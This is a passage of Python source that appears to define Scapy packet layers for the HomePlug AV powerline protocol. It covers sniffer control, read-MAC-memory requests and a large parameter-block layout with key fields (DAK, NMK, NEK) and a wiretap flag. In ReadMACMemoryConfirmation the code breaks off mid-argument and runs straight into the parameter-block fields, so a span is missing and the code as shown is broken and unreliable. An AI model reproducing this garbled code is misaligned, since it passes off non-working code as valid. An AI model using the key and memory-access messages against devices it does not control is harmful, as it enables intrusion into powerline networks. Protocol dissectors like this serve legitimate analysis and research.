"SetEncryptionKeyConfirmation" fields_desc=[ ByteEnumField("Status", 0x0, SetEncKey_Status) ] ################################################################ # Default config Packet ################################################################ class QUAResetFactoryConfirm(Packet): name = "QUAResetFactoryConfirm" fields_desc=[ ByteEnumField("Status", 0x0, StatusCodes) ] #TODO : Probably a Status bytefield? ###################################################################### # NVM Parameters Packets ###################################################################### class GetNVMParametersRequest(Packet): name = "Get NVM Parameters Request" fields_desc=[ ] class GetNVMParametersConfirmation(Packet): name = "Get NVM Parameters Confirmation" fields_desc=[ ByteEnumField("Status", 0x0, StatusCodes), LEIntField("NVMType", 0x00000013), LEIntField("NVMPageSize", 0x00000100), LEIntField("NVMBlockSize", 0x00010000), LEIntField("NVMMemorySize", 0x00100000) ] ###################################################################### # Sniffer Packets ###################################################################### SnifferControlList = { 0x0 : "'Disabled'", 0x1 : "'Enabled'" } SnifferTypeCodes = { 0x00 : "'Regular'" } class SnifferRequest(Packet): name = "SnifferRequest" fields_desc=[ ByteEnumField("SnifferControl", 0x0, SnifferControlList) ] SnifferCodes = { 0x00 : "'Success'", 0x10 : "'Invalid Control'" } class SnifferConfirmation(Packet): name = "SnifferConfirmation" fields_desc=[ ByteEnumField("Status", 0x0, StatusCodes) ] DirectionCodes = { 0x00 : "'Tx'", 0x01 : "'Rx'" } ANCodes = { 0x00 : "'In-home'", 0x01 : "'Access'" } class SnifferIndicate(Packet): # TODO: Some bitfield have been regrouped for the moment => need more work on it name = "SnifferIndicate" fields_desc=[ ByteEnumField("SnifferType", 0x0, SnifferTypeCodes), ByteEnumField("Direction", 0x0, DirectionCodes), LELongField("SystemTime", 0x0), LEIntField("BeaconTime", 0x0), XByteField("ShortNetworkID", 0x0), ByteField("SourceTermEqID", 0), ByteField("DestTermEqID", 0), ByteField("LinkID", 0), XByteField("PayloadEncrKeySelect", 0x0f), ByteField("PendingPHYblock", 0), ByteField("BitLoadingEstim", 0), BitField("ToneMapIndex", 0, size=5), BitField("NumberofSymbols", 0, size=2), BitField("PHYblockSize", 0, size=1), XShortField("FrameLength", 0x0000), XByteField("ReversegrandLength", 0x0), BitField("RequestSACKtrans", 0, size=1), BitField("DataMACstreamCMD", 0, size=3), BitField("ManNACFrameStreamCMD", 0, size=3), BitField("reserved_1", 0, size=6), BitField("MultinetBroadcast", 0, size=1), BitField("DifferentCPPHYclock", 0, size=1), BitField("Multicast", 0, size=1), X3BytesField("FrameControlCheckSeq", 0x000000), XByteField("ShortNetworkID_", 0x0), IntField("BeaconTimestamp", 0), XShortField("BeaconTransOffset_0", 0x0000), XShortField("BeaconTransOffset_1", 0x0000), XShortField("BeaconTransOffset_2", 0x0000), XShortField("BeaconTransOffset_3", 0x0000), X3BytesField("FrameContrchkSeq", 0x000000) ] ###################################################################### # Read MAC Memory ##################################################################### class ReadMACMemoryRequest(Packet): name = "ReadMACMemoryRequest" fields_desc=[ LEIntField("Address" , 0x00000000), LEIntField("Length", 0x00000400), ] ReadMACStatus = { 0x00 : "Success", 0x10 : "Invalid Address", 0x14 : "Invalid Length" } class ReadMACMemoryConfirmation(Packet): name = "ReadMACMemoryConfirmation" fields_desc=[ ByteEnumField("Status", 0x00 , ReadMACStatus), LEIntField("Address" , 0), FieldLenField("MACLen", None, length_of="MACData", fmt="= pkt.__offset and 0x2 <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("reserved_1" , 0x0000), lambda pkt:(0x2 >= pkt.__offset and 0x4 <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("PIBLength" , 0x0000), lambda pkt:(0x4 >= pkt.__offset and 0x6 <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("reserved_2" , 0x0000), lambda pkt:(0x6 >= pkt.__offset and 0x8 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("checksumPIB", None), lambda pkt:(0x8 >= pkt.__offset and 0xC <= pkt.__offset+pkt.__length)), ConditionalField(MACField("PIBMACAddr", "00:00:00:00:00:00"), lambda pkt:(0xC >= pkt.__offset and 0x12 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("DAK", "\x00"*16, 16), lambda pkt:(0x12 >= pkt.__offset and 0x22 <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("reserved_3" , 0x0000), lambda pkt:(0x22 >= pkt.__offset and 0x24 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("ManufactorID", "\x00"*64, 64), lambda pkt:(0x24 >= pkt.__offset and 0x64 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("NMK", "\x00"*16, 16), lambda pkt:(0x64 >= pkt.__offset and 0x74 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("UserID", "\x00"*64, 64), lambda pkt:(0x74 >= pkt.__offset and 0xB4 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("AVLN_ID", "\x00"*64, 64), lambda pkt:(0xB4 >= pkt.__offset and 0xF4 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("CCoSelection", 0x00), lambda pkt:(0xF4 >= pkt.__offset and 0xF5 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("CoExistSelection", 0x00), lambda pkt:(0xF5 >= pkt.__offset and 0xF6 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("PLFreqSelection", 0x00), lambda pkt:(0xF6 >= pkt.__offset and 0xF7 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("H3CDowngradeShld", 0x00), lambda pkt:(0xF7 >= pkt.__offset and 0xF8 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("PreferredNID", "\x00"*7, 7), lambda pkt:(0xF8 >= pkt.__offset and 0xFF <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("AutoFWUpgradeable", 0x00), lambda pkt:(0xFF >= pkt.__offset and 0x100 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("MDUConfiguration", 0x00), lambda pkt:(0x100 >= pkt.__offset and 0x101 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("MDURole", 0x00), lambda pkt:(0x101 >= pkt.__offset and 0x102 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("SnifferEnabled", 0x00), lambda pkt:(0x102 >= pkt.__offset and 0x103 <= pkt.__offset+pkt.__length)), ConditionalField(MACField("SnifferMACAddrRetrn", "00:00:00:00:00:00"), lambda pkt:(0x103 >= pkt.__offset and 0x109 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("WireTapEnable", 0x00), lambda pkt:(0x109 >= pkt.__offset and 0x10A <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("reserved_4" , 0x0000), lambda pkt:(0x10A >= pkt.__offset and 0x10C <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("StaticNetworkEnabled" , 0x00), lambda pkt:(0x10C >= pkt.__offset and 0x10D <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("LD_TEI" , 0x00), lambda pkt:(0x10D >= pkt.__offset and 0x10E <= pkt.__offset+pkt.__length)), ConditionalField(MACField("CCo_MACAdd", "00:00:00:00:00:00"), lambda pkt:(0x10E >= pkt.__offset and 0x114 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("SNID", 0x00), lambda pkt:(0x114 >= pkt.__offset and 0x115 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("NumOfPeerNodes", 0x00), lambda pkt:(0x115 >= pkt.__offset and 0x116 <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("PeerNodes", "", PeerNode, length_from=lambda x: 56), lambda pkt:(0x116 >= pkt.__offset and 0x11C <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("reserved_5", "\x00"*62, 62), lambda pkt:(0x146 >= pkt.__offset and 0x14e <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("OverideModeDefaults" , 0x00), lambda pkt:(0x18C >= pkt.__offset and 0x18D <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("DisableFlowControl" , 0x00), lambda pkt:(0x18D >= pkt.__offset and 0x18E <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("AdvertisementCapabilities" , 0x00), lambda pkt:(0x18E >= pkt.__offset and 0x18F <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("OverrideMeteringDefaults" , 0x00), lambda pkt:(0x18F >= pkt.__offset and 0x190 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("MaxFramesPerSec" , 0), lambda pkt:(0x190 >= pkt.__offset and 0x194 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("DisableAutoNegotiation" , 0x00), lambda pkt:(0x194 >= pkt.__offset and 0x195 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("EnetSpeedSetting" , 0x00), lambda pkt:(0x195 >= pkt.__offset and 0x196 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("EnetDuplexSetting" , 0x00), lambda pkt:(0x196 >= pkt.__offset and 0x197 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("DisableTxFlowControl" , 0x00), lambda pkt:(0x197 >= pkt.__offset and 0x198 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("DisableRxFlowControl" , 0x00), lambda pkt:(0x198 >= pkt.__offset and 0x199 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("PhyAddressSelection" , 0x00), lambda pkt:(0x199 >= pkt.__offset and 0x19A <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("PhyAddressSelection_Data" , 0x00), lambda pkt:(0x19A >= pkt.__offset and 0x19B <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("reserved_6" , 0x00), lambda pkt:(0x19B >= pkt.__offset and 0x19C <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("Force33MHz" , 0x00), lambda pkt:(0x19C >= pkt.__offset and 0x19D <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("LinkStatusOnPowerline" , 0x00), lambda pkt:(0x19D >= pkt.__offset and 0x19E <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("OverrideIdDefaults" , 0x00), lambda pkt:(0x19E >= pkt.__offset and 0x19F <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("OverrideSubIdDefaults" , 0x00), lambda pkt:(0x19F >= pkt.__offset and 0x1A0 <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("PCIDeviceID" , 0x0000), lambda pkt:(0x1A0 >= pkt.__offset and 0x1A2 <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("PCIVendorID" , 0x0000), lambda pkt:(0x1A2 >= pkt.__offset and 0x1A4 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("reserved_7" , 0x00), lambda pkt:(0x1A4 >= pkt.__offset and 0x1A5 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("PCIClassCode" , 0x00), lambda pkt:(0x1A5 >= pkt.__offset and 0x1A6 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("PCIClassCodeSubClass" , 0x00), lambda pkt:(0x1A6 >= pkt.__offset and 0x1A7 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("PCIRevisionID" , 0x00), lambda pkt:(0x1A7 >= pkt.__offset and 0x1A8 <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("PCISubsystemID" , 0x0000), lambda pkt:(0x1A8 >= pkt.__offset and 0x1AA <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("PCISybsystemVendorID" , 0x0000), lambda pkt:(0x1AA >= pkt.__offset and 0x1AC <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("reserved_8", "\x00"*64, 64), lambda pkt:(0x1AC >= pkt.__offset and 0x1EC <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("OverrideIGMPDefaults" , 0x00), lambda pkt:(0x1EC >= pkt.__offset and 0x1ED <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("ConfigFlags" , 0x00), lambda pkt:(0x1ED >= pkt.__offset and 0x1EE <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("NumCpToSend_PLFrames" , 0x00), lambda pkt:(0x1EE >= pkt.__offset and 0x1EF <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("reserved_9", "\x00"*29, 29), lambda pkt:(0x1EF >= pkt.__offset and 0x20C <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("UniCastPriority" , 0x00), lambda pkt:(0x20C >= pkt.__offset and 0x20D <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("McastPriority" , 0x00), lambda pkt:(0x20D >= pkt.__offset and 0x20E <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("IGMPPriority" , 0x00), lambda pkt:(0x20E >= pkt.__offset and 0x20F <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("AVStreamPriority" , 0x00), lambda pkt:(0x20F >= pkt.__offset and 0x210 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("PriorityTTL_0" , 0), lambda pkt:(0x210 >= pkt.__offset and 0x214 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("PriorityTTL_1" , 0), lambda pkt:(0x214 >= pkt.__offset and 0x218 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("PriorityTTL_2" , 0), lambda pkt:(0x218 >= pkt.__offset and 0x21C <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("PriorityTTL_3" , 0), lambda pkt:(0x21C >= pkt.__offset and 0x220 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("EnableVLANOver" , 0x00), lambda pkt:(0x220 >= pkt.__offset and 0x221 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("EnableTOSOver" , 0x00), lambda pkt:(0x221 >= pkt.__offset and 0x222 <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("reserved_10" , 0x0000), lambda pkt:(0x222 >= pkt.__offset and 0x224 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("VLANPrioTOSPrecMatrix" , 0), lambda pkt:(0x224 >= pkt.__offset and 0x228 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("NumClassifierPriorityMaps" , 0), lambda pkt:(0x228 >= pkt.__offset and 0x22C <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("NumAutoConnections" , 0), lambda pkt:(0x22C >= pkt.__offset and 0x230 <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("ClassifierPriorityMaps", "", ClassifierPriorityMap, length_from=lambda x: 224), lambda pkt:(0x230 >= pkt.__offset and 0x244 <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("AutoConnections", "", AutoConnection, length_from=lambda x: 1600), lambda pkt:(0x310 >= pkt.__offset and 0x36e <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("NumberOfConfigEntries" , 0x00), lambda pkt:(0x950 >= pkt.__offset and 0x951 <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("AggregateConfigEntries", "", AggregateConfigEntrie, length_from=lambda x: 16), lambda pkt:(0x951 >= pkt.__offset and 0x961 <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("RSVD_CustomAggregationParameters", "", RSVD_CustomAggregationParameter, length_from=lambda x: 48), lambda pkt:(0x961 >= pkt.__offset and 0x991 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("reserved_11", "\x00"*123, 123), lambda pkt:(0x991 >= pkt.__offset and 0xA0C <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("ToneMaskType" , 0), lambda pkt:(0xA0C >= pkt.__offset and 0xA10 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("ToneMaskEnabled" , 0), lambda pkt:(0xA10 >= pkt.__offset and 0xA14 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("StartTone" , 0), lambda pkt:(0xA14 >= pkt.__offset and 0xA18 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("EndTone" , 0), lambda pkt:(0xA18 >= pkt.__offset and 0xA1C <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("reserved_12", "\x00"*12, 12), lambda pkt:(0xA1C >= pkt.__offset and 0xA28 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("PsdIndex" , 0), lambda pkt:(0xA28 >= pkt.__offset and 0xA2C <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("TxPrescalerType" , 0), lambda pkt:(0xA2C >= pkt.__offset and 0xA30 <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("PrescalerValues", "", PrescalerValue, length_from=lambda x: 3600), lambda pkt:(0xA30 >= pkt.__offset and 0xA34 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("reserved_13", "\x00"*1484, 1484), lambda pkt:(0x1840 >= pkt.__offset and 0x1E0C <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("AllowNEKRotation" , 0), lambda pkt:(0x1E0C >= pkt.__offset and 0x1E10 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("OverrideLocalNEK" , 0), lambda pkt:(0x1E10 >= pkt.__offset and 0x1E14 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("LocalNEKToUse", "\x00"*16, 16), lambda pkt:(0x1E14 >= pkt.__offset and 0x1E24 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("OverrideNEKRotationTimer" , 0), lambda pkt:(0x1E24 >= pkt.__offset and 0x1E28 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("NEKRotationTime_Min" , 0), lambda pkt:(0x1E28 >= pkt.__offset and 0x1E2C <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("reserved_14", "\x00"*96, 96), lambda pkt:(0x1E2C >= pkt.__offset and 0x1E8C <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("AVLNMembership" , 0), lambda pkt:(0x1E8C >= pkt.__offset and 0x1E90 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("SimpleConnectTimeout" , 0), lambda pkt:(0x1E90 >= pkt.__offset and 0x1E94 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("EnableLEDThroughputIndicate" , 0), lambda pkt:(0x1E94 >= pkt.__offset and 0x1E95 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("MidLEDThroughputThreshold_Mbps" , 0), lambda pkt:(0x1E95 >= pkt.__offset and 0x1E96 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("HighLEDThroughputThreshold_Mbps" , 0), lambda pkt:(0x1E96 >= pkt.__offset and 0x1E97 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("reserved_15" , 0), lambda pkt:(0x1E97 >= pkt.__offset and 0x1E98 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("EnableUnicastQuieriesToMember" , 0), lambda pkt:(0x1E98 >= pkt.__offset and 0x1E99 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("DisableMLDGroupIDCheckInMAC" , 0), lambda pkt:(0x1E99 >= pkt.__offset and 0x1E9A <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("EnableReportsToNonQuerierHosts" , 0), lambda pkt:(0x1E9A >= pkt.__offset and 0x1E9C <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("DisableExpireGroupMembershipInterval" , 0), lambda pkt:(0x1E9C >= pkt.__offset and 0x1EA0 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("DisableLEDTestLights" , 0), lambda pkt:(0x1EA0 >= pkt.__offset and 0x1EA4 <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("GPIOMaps", "", GPIOMap, length_from=lambda x: 12), lambda pkt:(0x1EA4 >= pkt.__offset and 0x1EB0 <= pkt.__offset+pkt.__length)), ConditionalField(XLongField("reserved_16" , 0), lambda pkt:(0x1EB0 >= pkt.__offset and 0x1EB8 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("EnableTrafficClass_DSCPOver" , 0), lambda pkt:(0x1EB8 >= pkt.__offset and 0x1EB9 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("TrafficClass_DSCPMatrices", "\x00"*64, 64), lambda pkt:(0x1EB9 >= pkt.__offset and 0x1EF9 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("GPIOControl" , 0), lambda pkt:(0x1EF9 >= pkt.__offset and 0x1EFA <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("LEDControl", "\x00"*32, 32), lambda pkt:(0x1EFA >= pkt.__offset and 0x1F1A <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("OverrideMinButtonPressHoldTime" , 0), lambda pkt:(0x1F1A >= pkt.__offset and 0x1F1E <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("MinButtonPressHoldTime" , 0), lambda pkt:(0x1F1E >= pkt.__offset and 0x1F22 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("reserved_17", "\x00"*22, 22), lambda pkt:(0x1F22 >= pkt.__offset and 0x1F38 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("MemoryProfile" , 0), lambda pkt:(0x1F38 >= pkt.__offset and 0x1F3C <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("DisableAllLEDFlashOnWarmReboot" , 0), lambda pkt:(0x1F3C >= pkt.__offset and 0x1F40 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("UplinkLimit_bps" , 0), lambda pkt:(0x1F40 >= pkt.__offset and 0x1F44 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("DownlinkLimit_bps" , 0), lambda pkt:(0x1F44 >= pkt.__offset and 0x1F48 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("MDUStaticSNID" , 0), lambda pkt:(0x1F48 >= pkt.__offset and 0x1F4C <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("MitigateEnabled" , 0), lambda pkt:(0x1F4C >= pkt.__offset and 0x1F4D <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("CorrelThreshold" , 0), lambda pkt:(0x1F4D >= pkt.__offset and 0x1F51 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("ScaledTxGain" , 0), lambda pkt:(0x1F51 >= pkt.__offset and 0x1F55 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("ResourceThresholdEnabled" , 0), lambda pkt:(0x1F55 >= pkt.__offset and 0x1F56 <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("ReservedPercentageForCaps", "", ReservedPercentageForCap, length_from=lambda x: 4), lambda pkt:(0x1F56 >= pkt.__offset and 0x1F5A <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("PowerSavingMode" , 0), lambda pkt:(0x1F5A >= pkt.__offset and 0x1F5B <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("PowerLEDDutyCycle" , 0), lambda pkt:(0x1F5B >= pkt.__offset and 0x1F5C <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("reserved_18" , 0), lambda pkt:(0x1F5C >= pkt.__offset and 0x1F5E <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("LinkUpDurationBeforeReset_ms" , 0), lambda pkt:(0x1F5E >= pkt.__offset and 0x1F62 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("PowerLEDPeriod_ms" , 0), lambda pkt:(0x1F62 >= pkt.__offset and 0x1F66 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("LinkDownDurationBeforeLowPowerMode_ms" , 0), lambda pkt:(0x1F66 >= pkt.__offset and 0x1F6A <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("reserved_19" , 0), lambda pkt:(0x1F6A >= pkt.__offset and 0x1F6E <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("AfeGainBusMode" , 0), lambda pkt:(0x1F6E >= pkt.__offset and 0x1F6F <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("EnableDynamicPsd" , 0), lambda pkt:(0x1F6F >= pkt.__offset and 0x1F70 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("ReservedPercentageForTxStreams" , 0), lambda pkt:(0x1F70 >= pkt.__offset and 0x1F71 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("ReservedPercentageForRxStreams" , 0), lambda pkt:(0x1F71 >= pkt.__offset and 0x1F72 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("reserved_20", "\x00"*22, 22), lambda pkt:(0x1F72 >= pkt.__offset and 0x1F88 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("LegacyNetworkUpgradeEnable" , 0), lambda pkt:(0x1F88 >= pkt.__offset and 0x1F8C <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("unknown" , 0), lambda pkt:(0x1F8C >= pkt.__offset and 0x1F90 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("MMETTL_us" , 0), lambda pkt:(0x1F90 >= pkt.__offset and 0x1F94 <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("ConfigBits", "", ConfigBit, length_from=lambda x: 2), lambda pkt:(0x1F94 >= pkt.__offset and 0x1F96 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("TxToneMapExpiry_ms" , 0), lambda pkt:(0x1F96 >= pkt.__offset and 0x1F9A <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("RxToneMapExpiry_ms" , 0), lambda pkt:(0x1F9A >= pkt.__offset and 0x1F9E <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("TimeoutToResound_ms" , 0), lambda pkt:(0x1F9E >= pkt.__offset and 0x1FA2 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("MissingSackThresholdForUnplugDetection" , 0), lambda pkt:(0x1FA2 >= pkt.__offset and 0x1FA6 <= pkt.__offset+pkt.__length)), ConditionalField(LEIntField("UnplugTimeout_ms" , 0), lambda pkt:(0x1FA6 >= pkt.__offset and 0x1FAA <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("ContentionWindowTableES", "", ContentionWindowTable, length_from=lambda x: 8), lambda pkt:(0x1FAA >= pkt.__offset and 0x1FB2 <= pkt.__offset+pkt.__length)), ConditionalField(PacketListField("BackoffDeferalCountTableES", "", BackoffDeferalCountTable, length_from=lambda x: 4), lambda pkt:(0x1FB2 >= pkt.__offset and 0x1FB6 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("GoodSoundCountThreshold" , 0), lambda pkt:(0x1FB6 >= pkt.__offset and 0x1FB7 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("SoundCountThreshold_GoodSoundCountPass" , 0), lambda pkt:(0x1FB7 >= pkt.__offset and 0x1FB8 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("SoundCountThreshold_GoodSoundCountFail" , 0), lambda pkt:(0x1FB8 >= pkt.__offset and 0x1FB9 <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("reserved_21" , 0), lambda pkt:(0x1FB9 >= pkt.__offset and 0x1FBB <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("ExclusiveTxPbs_percentage" , 0), lambda pkt:(0x1FBB >= pkt.__offset and 0x1FBC <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("ExclusiveRxPbs_percentage" , 0), lambda pkt:(0x1FBC >= pkt.__offset and 0x1FBD <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("OptimizationBackwardCompatible" , 0), lambda pkt:(0x1FBD >= pkt.__offset and 0x1FBE <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("reserved_21" , 0), lambda pkt:(0x1FBE >= pkt.__offset and 0x1FBF <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("MaxPbsPerSymbol" , 0), lambda pkt:(0x1FBF >= pkt.__offset and 0x1FC0 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("MaxModulation" , 0), lambda pkt:(0x1FC0 >= pkt.__offset and 0x1FC1 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("ContinuousRx" , 0), lambda pkt:(0x1FC1 >= pkt.__offset and 0x1FC2 <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("reserved_22", "\x00"*6, 6), lambda pkt:(0x1FC2 >= pkt.__offset and 0x1FC8 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("PBControlStatus" , 0), lambda pkt:(0x1FC8 >= pkt.__offset and 0x1FC9 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("STAMembershipMaskEnabled" , 0), lambda pkt:(0x1FC9 >= pkt.__offset and 0x1FCA <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("ExitDefaultEnabled" , 0), lambda pkt:(0x1FCA >= pkt.__offset and 0x1FCB <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("RejectDefaultEnabled" , 0), lambda pkt:(0x1FCB >= pkt.__offset and 0x1FCC <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("ChainingEnabled" , 0), lambda pkt:(0x1FCC >= pkt.__offset and 0x1FCD <= pkt.__offset+pkt.__length)), ConditionalField(StrFixedLenField("VendorSpecificNMK", "\x00"*16, 16), lambda pkt:(0x1FCD >= pkt.__offset and 0x1FDD <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("LocalMACAddressLimit" , 0), lambda pkt:(0x1FDD >= pkt.__offset and 0x1FDE <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("OverrideBridgeTableAgingTime" , 0), lambda pkt:(0x1FDE >= pkt.__offset and 0x1FDF <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("LocalBridgeTableAgingTime_min" , 0), lambda pkt:(0x1FDF >= pkt.__offset and 0x1FE1 <= pkt.__offset+pkt.__length)), ConditionalField(XShortField("RemoteBridgeTableAgingTime_min" , 0), lambda pkt:(0x1FE1 >= pkt.__offset and 0x1FE3 <= pkt.__offset+pkt.__length)), ConditionalField(XIntField("PhySyncReference" , 0), lambda pkt:(0x1FE3 >= pkt.__offset and 0x1FE7 <= pkt.__offset+pkt.__length)), ConditionalField(XByteField("reserved_23" , 0), lambda pkt:(0x1FE7 >= pkt.__offset and 